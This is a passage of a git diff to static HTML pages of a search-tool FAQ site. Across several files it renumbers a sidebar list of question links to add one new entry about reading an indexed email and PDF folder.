itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/index-markdown-into-elasticsearch-api.html b/landing/answers/index-markdown-into-elasticsearch-api.htmlindex 832450498..167779683 100644--- a/landing/answers/index-markdown-into-elasticsearch-api.html+++ b/landing/answers/index-markdown-into-elasticsearch-api.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/index-monorepo-for-agent.html b/landing/answers/index-monorepo-for-agent.htmlindex daba3a162..9003cf49e 100644--- a/landing/answers/index-monorepo-for-agent.html+++ b/landing/answers/index-monorepo-for-agent.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant 